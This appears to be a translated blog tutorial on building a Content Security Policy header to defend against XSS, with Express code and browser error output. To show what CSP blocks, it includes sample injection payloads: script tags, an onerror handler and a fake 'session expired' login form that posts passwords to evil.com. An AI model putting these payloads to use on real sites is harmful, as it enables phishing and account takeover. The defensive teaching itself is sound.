内容安全策略 (CSP)

了解 CSP、它的工作原理以及它为何如此出色。您将从头开始构建内容安全策略标头,并学习如何克服过程中的常见问题。让我们开始吧!

什么是内容安全策略 (CSP)?

内容安全策略是一项出色的浏览器安全功能,可以防止XSS(跨站脚本)攻击。它还废弃了旧的X-Frame-Options标头以防止跨站点框架攻击。

什么是 XSS 漏洞?

当不受信任的数据在 Web 上下文中被解释为代码时,就会出现 XSS(跨站点脚本)漏洞。它们通常来自:

  1. 不安全地生成 HTML(在没有正确编码的情况下进行参数化)。
  2. 允许用户直接编辑 HTML(例如 WYSIWYG 编辑器)。
  3. 允许用户上传 HTML/SVG 文件并以不安全的方式返回这些文件。
  4. 允许用户设置链接的 HREF 属性。
  5. 不安全地使用 JavaScript(将不受信任的数据传递到可执行函数/属性中)。
  6. 使用过时且易受攻击的 JavaScript 包。

XSS 攻击通过例如创建恶意链接来利用这些漏洞,当用户打开链接时,这些链接会在目标用户的 Web 浏览器中注入并执行攻击者的 JavaScript 代码。

一个简单的例子

这是一个易受 XSS 攻击的 PHP 脚本:

echo "<p>Search results for: " . $_GET('search') . "</p>"

它很容易受到攻击,因为它会不安全地生成 HTML。search参数编码不正确。攻击者可以创建如下链接,当目标打开它时,该链接将在网站上执行攻击者的 JavaScript 代码:

https://www.example.com/?search=
<script>
  alert('XSS')
</script>

打开链接会在用户的浏览器中呈现以下 HTML:

<p>
  Search results for:
  <script>
    alert('XSS')
  </script>
</p>

为什么 XSS 漏洞如此危险?

有时有一种误解,认为 XSS 漏洞是低严重性错误。他们不是。在其他人的浏览器中执行网站上的 JavaScript 代码的能力相当于登录到托管服务器并为受影响的用户更改 HTML 文件。

因此,XSS 攻击有效地使攻击者以目标用户身份登录,此外还欺骗用户向攻击者提供一些信息(例如他们的密码),或者可能在用户的工作站上下载和执行恶意软件。

而且 XSS 漏洞并不只影响个人用户。存储型 XSS 会影响访问受感染页面的每个人,而反射型 XSS 通常会[像野火一样传播] ( https://en.wikipedia.org/wiki/Samy_(computer_worm))

CSP 如何防御 XSS 攻击?

CSP 通过以下方式非常有效地防御 XSS 攻击。

1. 限制内联脚本

通过阻止页面执行内联脚本,像注入这样的攻击

<script>
  alert("XSS)
</script>

不管用。

2. 限制远程脚本

通过阻止页面从任意服务器加载脚本,像注入这样的攻击

<script src="https://evil.com/hacked.js"></script>

不管用。

3.限制不安全的Javascript

通过阻止页面执行 text-to-JavaScript 函数(也称为DOM-XSS sinks),您的网站将被迫免受以下漏洞的影响。

// A Simple Calculator
var op1 = getUrlParameter('op1')
var op2 = getUrlParameter('op2')
var sum = eval(`${op1} + ${op2}`)
console.log(`The sum is: ${sum}`)

4. 限制表单提交

通过限制您网站上的 HTML 表单可以提交其数据的位置,像下面这样注入网络钓鱼表单也不起作用。

<form method="POST" action="https://evil.com/collect">
  <h3>Session expired! Please login again.</h3>
  <label>Username</label>
  <input type="text" name="username" />

  <label>Password</label>
  <input type="password" name="pass" />

  <input type="Submit" value="Login" />
</form>

5.限制对象

通过限制 HTML对象标签,攻击者也无法<object>在页面上注入标签(可以执行 JavaScript 代码)。

6.限制基础URI

通过限制<base>在页面上插入标签的方式,您将防止攻击者更改页面的基本 URI,这可能导致 JavaScript 从攻击者的服务器加载。

我该如何使用它?

您可以通过两种方式在您的网站上实施内容安全策略。

1. Content-Security-Policy 标头

从您的 Web 服务器发送 Content-Security-Policy HTTP 响应标头。

Content-Security-Policy: ...

首选使用标头并支持完整的 CSP 功能集。在所有 HTTP 响应中发送它,而不仅仅是索引页面。

2. Content-Security-Policy 元标记

有时您不能使用 Content-Security-Policy 标头。一个例子是,当您在 CDN 中部署 HTML 文件时,标题不受您的控制。

在这种情况下,您仍然可以通过在 HTML 标记中指定元标记来使用 CSP。

<meta http-equiv="Content-Security-Policy" content="..." />

仍然支持几乎所有内容,包括完整的 XSS 防御。但是,您将无法使用框架保护沙盒CSP 违规日志记录端点

制定您的政策

是时候构建我们​​的内容安全策略标头了!我创建了一个小 HTML 文档供我们练习。如果你想跟随,请 fork这个 CodeSandbox,然后打开页面 URL(例如Sandbox - CodeSandbox ,然后在 Google Chrome 浏览器中

这是 HTML:

<html>
  <head>
    <title>CSP Practice</title>
    <link rel="stylesheet" href="/stylesheets/style.css" />
    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap" rel="stylesheet">
  </head>

  <body>
    <h1>CSP Practice</h1>
    <script>
      console.log("Inline script attack succeeded.");
    </script>
    <script src="https://www.appsecmonkey.com/evil.js"></script>
    <script src="https://www.google-analytics.com/analytics.js"></script>
    <script
              src="https://code.jquery.com/jquery-1.12.4.js">
    </script>
    <h3>Cat fact: <span id="cat-fact"></h3>
    <script>
      $( document ).ready(function() {
        $.ajax({
            url: "https://cat-fact.herokuapp.com/facts/random",
            type: "GET",
            crossDomain: true,
            success: function (response) {
                var catFact = response.text;
                $('#cat-fact').text(catFact);
            },
            error: function (xhr, status) {
                alert("error");
            }
        });
        console.log(`Good script with jQuery succeeded`);
      });
    </script>
    <img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA
    AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
        9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Failed to show image." />
        <br/>
    <form method="POST" action="https://www.appsecmonkey.com/evil">
      <label>Session expired, enter password to continue.</label>
      <br/>
      <input type="password" autocomplete="password" name="password" placeholder="Enter your password here, mwahahaha.."></input>
      <input type="submit" value="Submit"/>
    </form>
  </body>
</html>

我们还有app.js一个微型快递应用程序来设置Content-Security-Policy标题。现在,它正在发送一个空的 CSP,它什么都不做。

var express = require('express')

var app = express()
const csp = ''

app.use(
  express.static('public', {
    setHeaders: function (res, path) {
      res.set('Content-Security-Policy', csp)
    },
  })
)
var listener = app.listen(8080, function () {
  console.log('Listening on port ' + listener.address().port)
})

 

如果您查看控制台,则会显示几条消息。

Inline script attack succeeded.
Sourced script attack succeeded.
Good script with jQuery succeeded

在这一点上,CSP 头没有做任何事情,所以一切,无论好坏,都是允许的。您还可以确认在密码网络钓鱼表单中点击“提交”按预期工作(“密码”被发送到 appsecmonkey.com)。

伟大的。让我们开始添加安全性。

默认源

default-src是您要添加的第一个指令。如果您没有明确指定它们,它是许多其他指令的后备。

首先设置default-src'none'。单引号是强制性的。如果你只写none没有单引号,它会引用一个带有 URL 的网站none,这可能不是你想要的。

let defaultSrc = "default-src 'none'"
const csp = [defaultSrc].join(';')
Content-Security-Policy: default-src 'none'

现在重新启动服务器(左侧有一个机架服务器图标,显示该选项)。正如预期的那样,一切都被打破了。

 打开 Chrome 开发者工具,你会发现里面充满了 CSP 违规错误。

 

注意 您可能会看到 CodeSandbox 客户端挂钩“ https://sse-0.codesandbox.io/client-hook-5.js”的违规行为。忽略这些。

该页面现在已完全损坏,但也很安全。嗯,几乎是安全的。网络钓鱼表单仍然有效,因为该default-src指令不涵盖该form-action指令。让我们接下来解决这个问题。

形式-动作

form-action规定了网站可以提交表单的位置。为了防止密码钓鱼表单起作用,让我们像这样更改 CSP。

let defaultSrc = "default-src 'none'"
let formAction = "form-action 'self'"
const csp = [defaultSrc, formAction].join(';')
Content-Security-Policy: default-src 'none';form-action 'self'

刷新页面,并通过尝试提交表单来验证它是否有效。

❌ 拒绝将表单数据发送到“ https://www.appsecmonkey.com/evil”,因为它违反了以下内容安全策略指令:“form-action 'self'”。

美丽的。按预期工作。

框架祖先

在稍微放宽政策以使我们的页面正确加载之前,让我们再添加一个限制。也就是说,让我们通过将frame-ancestors设置为来防止其他页面陷害我们'none'

let frameAncestors = "frame-ancestors 'none'"
const csp = [defaultSrc, formAction, frameAncestors].join(';')
Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none'

如果您检查 CodeSandbox 浏览器,您将看到它无法再在框架中显示您的页面。从这里开始,将您的沙盒网站的 URL 复制到另一个可以查看的选项卡中。

 

好吧。否认就够了。接下来让我们允许一些事情。

样式-src

查看控制台,第一个违规行为是:

❌ 拒绝加载样式表“ https://lqil3.sse.codesandbox.io/stylesheets/style.css”,因为它违反了以下内容安全策略指令:“default-src 'none'”。请注意,'style-src-elem' 没有明确设置,所以 'default-src' 用作后备。

❌ 拒绝加载样式表' https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap',因为它违反了以下内容安全策略指令:“style-src 'self'”。请注意,'style-src-elem' 没有显式设置,因此 'style-src' 用作后备。

您可以使用style-src指令解决此问题,允许样式表从同一来源和 google 字体加载。

...
let styleSrc = "style-src";
styleSrc += " 'self'";
styleSrc += " https://fonts.googleapis.com/";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc].join(";");
Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none';style-src'self' https://fonts.googleapis.com/

刷新页面,哇!这样的风格。

让我们继续讨论图像。

img-src

而不是美丽的红点,我们有以下错误:

❌ 拒绝加载图像 'data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA%0A AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO%0A 9TXL0Y4OHwAAAABJRU5ErkJggg==',因为它违反了以下内容安全策略指令:“default-src.'none 请注意,'img-src' 没有显式设置,所以 'default-src' 用作后备

我们可以像这样使用img-src指令修复我们的图像。

let imgSrc = 'img-src'
imgSrc += " 'self'"
imgSrc += ' data:'
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc].join(';')
Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none';style-src'self' https://fonts.googleapis.com/;img-src 'self' data:

我们允许来自我们自己来源的图像。我们还允许使用数据 URL,因为它们在优化的网站中很常见。

刷新页面,然后……是的!尽显荣耀的红点。

 

 

如果您允许来自任何 URL 的图像,那么攻击者就有可能通过悬空标记攻击绕过您的 CSP 。

字体源

至于我们的字体,我们有以下错误。

❌ 拒绝加载字体“ https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2”,因为它违反了以下内容安全策略指令:“default-src 'none'”。请注意,'font-src' 没有明确设置,所以 'default-src' 用作后备

我们可以通过添加font-src指令使其消失,如下所示:

let fontSrc = 'font-src'
fontSrc += ' https://fonts.gstatic.com/'
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc].join(';')
Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none';style-src'self' https://fonts.googleapis.com/;img-src 'self' data:;font-src https://fonts.gstatic.com/

脚本源

好吧,现在它变得真实了。script-src可以说是 CSP 存在的主要原因,在这里我们可以制定或破坏我们的策略。

让我们看看例外情况。第一个是“攻击者”的内联脚本。我们不想通过任何指令来允许它,所以让我们继续阻止它。

❌ 拒绝执行内联脚本,因为它违反了以下内容安全策略指令:“default-src 'none'”。启用内联执行需要“unsafe-inline”关键字、哈希(“sha256-OScJmDvbn8ErOA7JGuzx/mKoACH2MwrD/+4rxLDlA+k=”)或随机数(“nonce-...”)。请注意,'script-src' 没有显式设置,因此 'default-src' 用作后备。

第二个是攻击者的源脚本。让我们继续阻止这个。

❌ 拒绝加载脚本“ https://www.appsecmonkey.com/evil.js”,因为它违反了以下内容安全策略指令:“default-src 'none'”。请注意,'script-src-elem' 没有显式设置,因此 'default-src' 用作后备。

然后是我们想要允许的谷歌分析。

❌ 拒绝加载脚本“ https://www.google-analytics.com/analytics.js”,因为它违反了以下内容安全策略指令:“default-src 'none'”。请注意,'script-src-elem' 没有显式设置,因此 'default-src' 用作后备。

我们还希望允许使用 jQuery。

❌ 拒绝加载脚本“ https://code.jquery.com/jquery-1.12.4.js”,因为它违反了以下内容安全策略指令:“default-src 'none'”。请注意,'script-src-elem' 没有显式设置,因此 'default-src' 用作后备。

最后,我们要允许获取猫事实的脚本。

❌ 拒绝执行内联脚本,因为它违反了以下内容安全策略指令:“default-src 'none'”。启用内联执行需要“unsafe-inline”关键字、哈希(“sha256-dsERlyo3ZLeOnlDtUAmCoZLaffRg2Fi9LTWvmIgrUmE=”)或随机数(“nonce-...”)。另请注意,'script-src' 未明确设置,因此 'default-src' 用作后备。

让我们从简单的开始。通过将 Google 分析和 jQuery URL 添加到我们的政策中,我们可以摆脱这两种违规行为。此外,添加“self”以准备下一步(将 cat 事实脚本重构为单独的 JavaScript 文件)。

let scriptSrc = 'script-src'
scriptSrc += " 'self'"
scriptSrc += ' https://www.google-analytics.com/analytics.js'
scriptSrc += ' https://code.jquery.com/jquery-1.12.4.js'
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc, scriptSrc].join(';')

处理内联脚本的首选方法是将它们重构为自己的 JavaScript 文件。所以删除 cat 事实脚本标签并将其替换为以下内容:

...
<h3>Cat fact: <span id="cat-fact"></h3>
<script src="/javascripts/cat-facts.js"></script>
...

并将脚本的内容移动到javascripts/cat-facts.js如下所示:

$(document).ready(function () {
  $.ajax({
    url: 'https://cat-fact.herokuapp.com/facts/random',
    type: 'GET',
    crossDomain: true,
    success: function (response) {
      var catFact = response.text
      $('#cat-fact').text(catFact)
    },
    error: function (xhr, status) {
      alert('error')
    },
  })
  console.log(`Good script with jQuery succeeded`)
})

现在刷新,然后......真可惜。在我们获胜之前再处理一次违规行为!

连接源

❌ 拒绝连接到“ https://cat-fact.herokuapp.com/facts/random”,因为它违反了以下内容安全策略指令......

connect-src指令限制网站可以连接的位置。目前,它阻止我们获取猫的事实。让我们修复它。

let connectSrc = 'connect-src'
connectSrc += ' https://cat-fact.herokuapp.com/facts/random'
const csp = [
  defaultSrc,
  formAction,
  frameAncestors,
  styleSrc,
  imgSrc,
  fontSrc,
  scriptSrc,
  connectSrc,
].join(';')

刷新页面。呸!该页面有效,而攻击则无效。你可以在这里尝试完成的网站。这是我们想出的:

Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src 'self' https://fonts.googleapis.com/; img-src 'self' data:; font-src https://fonts.gstatic.com/; script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js; connect-src https://cat-fact.herokuapp.com/facts/random

让我们将它插入Google 的 CSP 评估器,看看我们是怎么做的。

 

 

非常好。中的黄色script-src是因为我们使用了“self”,例如,如果您托管用户提交的内容,这可能会出现问题。

但这是一个阳光灿烂的日子,我们能够重构代码并摆脱内联脚本和危险的函数调用。现在让我们看看当您被迫使用一个使用 eval 的 JavaScript 框架或当您需要在 HTML 中包含内联脚本时,您可以做些什么。

脚本-src:哈希

假设您无法摆脱内联 JavaScript。从内容安全策略版本 2 开始,您可以使用script-src 'sha256-<hash>'允许执行具有特定哈希的脚本。浏览器很好地支持随机数和散列;有关详细信息的兼容性,请参见此处。无论如何,只要您正确使用 CSP,它就是向后兼容的。

您可以通过分叉此 CodeSandbox来跟进。和之前的情况一样,但是这次我们不会将内联脚本重构为自己的文件。相反,我们会将其哈希添加到我们的策略中。

您可以手动获取 SHA256 哈希,但要正确设置空格和格式是很棘手的。幸运的是,您可能已经注意到,Chrome 开发者工具为我们提供了哈希值。

❌ 拒绝执行内联脚本,因为它违反了以下内容安全策略指令:“script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery- 1.12.4.js”。启用内联执行需要“unsafe-inline”关键字、哈希(“sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg=”)或随机数(“nonce-...”)。

因此,让我们将该哈希添加到我们的策略中,页面将再次运行。

...
scriptSrc += " 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='";
scriptSrc += " 'unsafe-inline'";
...

我们还必须添加unsafe-inline向后兼容性。不用担心; 对于支持 CSP 级别 2 的浏览器,如果存在散列或随机数,浏览器会忽略它。

注意 使用散列通常不是一个很好的方法。如果您更改脚本标签内的任何内容(甚至是空格),例如通过格式化您的代码,散列值将会不同,并且脚本不会呈现。这一步应该在您的构建管道中自动化,以使其可靠地工作。

脚本源代码:nonce

允许特定内联脚本的第二种方法是使用nonce。它稍微复杂一些,但您不必担心格式化代码。

随机数是您为每个 HTTP 响应生成的唯一一次性随机值,并添加到 Content-Security-Policy 标头中,如下所示:

const nonce = uuid.v4()
scriptSrc += ` 'nonce-${nonce}'`

然后,您可以将此 nonce 传递给您的视图(使用 nonce 需要非静态 HTML)并呈现如下所示的脚本标签:

<script nonce="<%= nonce %>">
        $(document).ready(function () {
  $.ajax({
    url: "https://cat-fact.herokuapp.com/facts/random",
    ...

Fork这个 CodeSandbox来玩弄我用 nonces 和 EJS 视图引擎创建的解决方案。

警告 不要创建用“script nonce=...”替换所有脚本标签的中间件,因为攻击者注入的脚本也会获得 nonce。您需要一个实际的 HTML 模板引擎来使用 nonce。

脚本源代码:'不安全评估'

如果您自己的代码或页面上的依赖项使用 text-to-JavaScript 函数,例如eval,您可能会遇到这样的警告。

❌ Uncaught EvalError: Refused to evaluate a string as JavaScript because'unsafe-eval' is not a allowed source of script in the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com /analytics.js https://code.jquery.com/jquery-1.12.4.js”

如果是您自己的代码,请将其重构为不使用eval. 如果它是依赖项,请查阅其文档以查看更新的版本或使用它的某些特定方式是否与安全内容安全策略标头兼容。

如果没有,您必须将unsafe-eval关键字添加到您的script-src. 这不是世界末日,但您将失去 CSP 的 DOM-XSS 保护。

scriptSrc += " 'unsafe-eval'" // cut my life into pieces this is my last resort

将来,内容安全策略级别 3的情况会有所改善,这使您可以更好地控制 DOM-XSS 接收器功能等。当浏览器开始正确支持它时,我将更新本指南。

基地

将以下内容添加到您的 CSP 以防止使用<base>标签绕过:

base-uri 'none'

对象源

将以下内容添加到您的 CSP 以防止使用<object>标签绕过:

object-src 'none'

仅报告模式

首次将 CSP 部署到生产环境可能会令人恐惧。您可以从Content-Security-Policy-Report-Only标头开始,它将违规打印到控制台但不会强制执行。然后使用不同的浏览器进行所有您想要的测试,并最终部署强制标头。

CSP 工具

我们的 CSP 工具可用于快速、轻松地生成内容安全策略 (CSPv2) 标头。你可以在这里试试。

 

CSP 3 级

随着CSP 3 级的出现,我们有了一些很酷的特性。苹果花了该死的时间在 Safari 中实现它们,但最终,截至 2022 年 3 月 15 日,我们实际上可以问心无愧地使用它们!以前,我们不得不把 Safari 用户扔到车底下。

有关 CSP 浏览器支持的最新状态,请参阅此页面

严格动态

上面的示例非常简单,因此我们可以毫无问题地使用 CSP 2 级策略。但是对于一个大网站,它可能会成为一个巨大的麻烦,导致 CSP 可能会填满一堵墙。脚本 X 可以加载另外两个脚本,Y 和 Z,它们仍然可以加载更多脚本。而且您必须明确允许每个脚本,同时尝试保持足够严格的 CSP 以避免绕过漏洞。而且您的列表中的脚本越多,您就越需要祈祷其他脚本加载的脚本不会突然改变并破坏您的网站。无法忍受。

严动态救援!该strict-dynamic关键字允许我们将信任传播到由我们已经使用哈希或随机数信任的脚本加载的所有脚本。迷人的。

让我们试试看。此处的 CodeSandbox创建一个 CSP,如下所示:

let scriptSrc = 'script-src'
scriptSrc += ` 'nonce-${nonce}'`

因此,除了带有 nonce 的脚本外,我们什么都不允许。我们的视图如下所示:

<script nonce="<%= nonce %>" src="/test.js"></script>

并且test.js是一个加载另外三个脚本的脚本:

function dynamicallyLoadScript(url) {
  var script = document.createElement('script')
  script.src = url
  document.head.appendChild(script)
}

dynamicallyLoadScript('https://code.jquery.com/jquery-3.6.0.min.js')
dynamicallyLoadScript('https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css')
dynamicallyLoadScript('https://d3js.org/d3.v6.min.js')

如果我们在 Firefox 中打开此页面,我们会收到以下错误:

❌ 内容安全策略:该页面的设置阻止了在https://code.jquery.com/jquery-3.6.0.min.js(“script-src ”)加载资源。test.js:5:16

❌ 内容安全策略:该页面的设置阻止了在https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css(“script-src ”)加载资源。test.js:5:16

❌ 内容安全策略:该页面的设置阻止了在https://d3js.org/d3.v6.min.js(“script-src ”)加载资源。test.js:5:16

现在这里是另一个 CodeSandbox。这次我们在我们的script-srclike中添加了一个东西:

let scriptSrc = 'script-src'
scriptSrc += ` 'nonce-${nonce}'`
scriptSrc += " 'strict-dynamic'" // Propagate trust to scripts loaded by already trusted scripts

现在,如果我们加载页面,我们可以看到错误消失了,因为这'strict-dynamic'意味着test.js已经被 nonce 信任的脚本被允许将该信任传播到它加载的任何脚本。

但是,如果我们在还不支持严格动态的浏览器(例如 Safari 15.3 或更早版本)中打开此页面怎么办?

❌ [错误]拒绝加载https://code.jquery.com/jquery-3.6.0.min.js,因为它没有出现在内容安全策略的 script-src 指令中。

❌ [错误]拒绝加载https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css因为它没有出现在内容安全策略的 script-src 指令中.

❌ [错误]拒绝加载https://d3js.org/d3.v6.min.js,因为它没有出现在内容安全策略的 script-src 指令中。

脚本不会加载,因为 Safari 15.3 还不支持strict-dynamic。所以我们需要做的是为 Safari 用户添加一个后备,以允许从任何地方通过 HTTPS 加载脚本。

let scriptSrc = 'script-src'
scriptSrc += ` 'nonce-${nonce}'`
scriptSrc += ` https:`
scriptSrc += " 'strict-dynamic'"

现在最新的 Safari 支持严格动态,我衷心推荐你使用它,https:为过时的浏览器添加后备。

这个 CodeSandbox在所有最新的主流浏览器上都是安全的,它也不会在过时的浏览器上破坏网站。

不安全的哈希

'unsafe-hashes'指令允许 DOM 事件处理程序执行在script-src.

例如,我们可以alert("hello")通过 `script-src 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk=' 来允许。

let scriptSrc = 'script-src'
scriptSrc += ` 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='`

现在我们可以把它放在网站上,它会起作用:

<script>alert("hello")</script>

但是,这不适用于大多数浏览器。

<button onClick='alert("hello")'>Hello</button>

让我们在 Chrome 中尝试一下:

❌ 拒绝执行内联事件处理程序,因为它违反了以下内容安全策略指令:“script-src 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='”。

现在让我们添加'unsafe-hashes'选项。

let scriptSrc = 'script-src'
scriptSrc += ` 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='`
scriptSrc += ` 'unsafe-hashes'`

现在脚本在单击按钮时执行。你可以在这里尝试或 fork CodeSandbox 在这里玩

不安全哈希安全注意事项

该指令带有前缀的原因unsafe-是它允许 XSS 攻击调用任何已使用哈希列入白名单的函数。

假设有一个如下所示的 UI:

<h1>Account Settings</h1>
<button id="btnDeleteAccount" onClick="deleteAccount();">DELETE YOUR ACCOUNT</button>

并且开发人员已将deleteAccount()哈希列入白名单script-src

scriptSrc += " 'sha256-nh5C95kYk07xMaWT0ZEbfCqzCKDC1cpLP0hF+hqkYN4='"

现在攻击者可以做的是注入一个 XSS 有效载荷,如下所示:

<img src="x" onerror="deleteAccount();" />

并且用户的帐户将被删除。

出于这个原因,最好删除此类内联事件处理程序并将处理程序附加到受信任的 JavaScript 代码中,如下所示:

document.getElementById('btnDeleteAccount').addEventListener('click', function () {
  deleteAccount()
})

不安全哈希浏览器支持

正如您在此处看到的,浏览器支持unsafe-hashes仍在等待 Firefox,因此我们还不能真正依赖此功能。也没有明智的后备选项。

脚本-src-elem & 脚本-src-attr

从 CSP 级别 3 开始,该script-src指令已分为两部分:script-src-elemscript-src-attr. 这为您提供了更精细的控制,因为现在您可以使用script-src-elem来限制script标签​​和script-src-attr限制内联事件处理程序。

Firefox 或 Safari也不支持这些,尽管 Safari 已经在预览中。

受信任类型和要求受信任类型

现在,这是一个有趣的功能。受信任的类型使您可以在以特定方式创建输入时允许注入接收器。注入水槽到底是什么鬼?忍受我。我们将很快介绍一个示例。

注入水槽

注入接收器是指在使用不受信任的数据调用时将直接导致 JavaScript 代码执行的函数和属性。其中包括允许攻击者直接修改 HTML 的 HTML 注入接收器,以及允许攻击者执行任意 JavaScript 代码的DOM XSS 注入接收器。element.innerHTMLeval()

可信类型

可信类型是一种 API,它允许应用程序锁定强大的 API 以仅接受不可欺骗的类型值代替字符串,以防止将这些 API 与攻击者控制的输入一起使用而导致漏洞。require-trusted-types-for它以andtrusted-types指令的形式与 CSP 集成。

创建策略

require-trusted-types-for指令告诉浏览器不允许 JavaScript 代码使用任何归类为注入接收器的函数或属性,除非用于调用函数或属性的输入类型是受信任的类型

是具有以下策略的示例:

let scriptSrc = 'script-src '
scriptSrc += " 'self'"
scriptSrc += " 'unsafe-inline'"
let requireTrustedTypesFor = 'require-trusted-types-for'
requireTrustedTypesFor += " 'script'"

目前,您可以提供的唯一值require-trusted-types-forscript.

然后我们让这个 HTML 文件加载一个脚本:

<div id="htmlOutput"></div>
<script src="/test.js"></script>

内容test.js如下:

let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
document.getElementById('htmlOutput').innerHTML = payload

现在如果我们在 Firefox 中加载还不支持可信类型的页面,“攻击”将会成功(因为我们指定了unsafe-inline)。您可以通过在 Firefox 中打开此页面并单击“CLICK ME”文本来验证这一点。

但是,如果我们将它加载到支持受信任类型的 Google Chrome 中,则会启动require-trusted-types-for阻止.innerHTML()调用。

❌ test.js:2 未捕获的类型错误:无法在“元素”上设置“innerHTML”属性:此文档需要“TrustedHTML”分配。

现在是施展魔法的时候了。我们将定义一个名为的策略my-policy,我们可以使用它来创建受信任的类型。首先让我们修复我们的 CSP 标头以允许该策略。这就是trusted-types指令的用武之地。

let requireTrustedTypesFor = 'require-trusted-types-for'
requireTrustedTypesFor += " 'script'"
let trustedTypes = 'trusted-types'
trustedTypes += ' my-policy'

我们的想法是,我们只允许调用一个策略my-policy,并且在攻击者有机会运行任何漏洞利用之前,我们在 JavaScript 代码中定义它(策略一旦创建就无法更改)。

现在让我们打开test.js,定义我们的策略并开始使用它!

// Define a sanitizer function
const mySanitize = (dirty) => dirty.replace(/</g, '&lt;')

// Define the policy, name it my-policy and make it call the sanitizer function in createHTML
// We also check if window.trustedTypes is defined to avoid errors on e.g. Firefox or Safari
const myPolicy =
  window.trustedTypes &&
  window.trustedTypes.createPolicy('my-policy', {
    createHTML(dirty) {
      return mySanitize(dirty)
    },
  })

let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"

if (myPolicy) {
  // If trusted types supported, we call the policy's createHTML function to return a trusted type
  payload = myPolicy.createHTML(payload)
} else {
  // If not then we sanitize anyway calling the sanitizer directly
  payload = mySanitize(payload)
}

document.getElementById('htmlOutput').innerHTML = payload

这个简单的策略对任何字符进行 HTML 编码<,使 XSS 攻击更加困难。这不是一个很好的策略,但对于我们的示例来说已经足够了。

现在该页面将在 Firefox 和 Chrome 上加载,通过 Chrome 将强制执行受信任的类型,而 Firefox 则不会。您可以在这里尝试或在此处分叉 CodeSandbox

更有用的政策

我们可以使用DOMPurify库已经创建的策略,而不是创建我们自己的策略。

让我们首先创建一个 CSP,它允许加载 DOMPurify 脚本,需要脚本的可信类型并允许 DOMPurify 定义的策略。

let scriptSrc = 'script-src '
scriptSrc += " 'self'"
scriptSrc += " 'unsafe-inline'"
scriptSrc += ' https://cdn.jsdelivr.net/npm/dompurify@2.2.8/dist/purify.min.js'
let requireTrustedTypesFor = 'require-trusted-types-for'
requireTrustedTypesFor += " 'script'"
let trustedTypes = 'trusted-types'
trustedTypes += ' dompurify'

然后我们将在您的页面中加载 DOMPurify:

<script src="https://cdn.jsdelivr.net/npm/dompurify@2.2.8/dist/purify.min.js"></script>

最后,我们将在使用之前使用 DOMPurify 来清理我们的有效负载。

let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
document.getElementById('htmlOutput').innerHTML = DOMPurify.sanitize(payload, {
  RETURN_TRUSTED_TYPE: true,
})

而已!-tag 现在将h1在 Firefox 和 Chrome 上正确显示,在 Chrome 上强制执行受信任的类型,并清理 HTML,以便如果您使用开发人员工具检查标签,您将看到onClick处理程序已被 DOMPurify 删除。

<h1>CLICK ME</h1>

您可以在这里尝试并此处分叉 CodeSandbox 。

可信类型浏览器支持

在撰写本文时,Firefox 或 Safari 尚不支持可信类型。请参阅此处了解最新状态。

结论

内容安全策略头是针对 XSS 攻击的出色防御。需要做一些工作才能做到正确,但这是值得的。

始终首选重构代码以使用安全和干净的策略运行。但是当 inline-scripts 或 eval 无能为力时,CSP 级别 2 为我们提供了我们可以使用的随机数和哈希值。

CSP 3 级有一些非常简洁的功能,但并非所有这些功能都得到 Chrome 和 Edge 以外的任何其他浏览器的很好支持,因此请谨慎使用。幸运的是,我们已经可以使用严格动态。这是一个基于严格动态的通用的、相当严格的 CSP,它应该适用于大多数应用程序。请注意,这unsafe-inline只是作为古代浏览器的后备方案,只要您有随机数或哈希值,就无需担心。

Content-Security-Policy:
  default-src 'self';
  frame-ancestors 'self';
  form-action 'self';
  object-src 'none';
  script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
  base-uri 'none';
  report-uri https://cspreport.example.com/

在将执行策略部署到生产环境之前,请从仅报告标题开始,以避免不必要的麻烦。

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

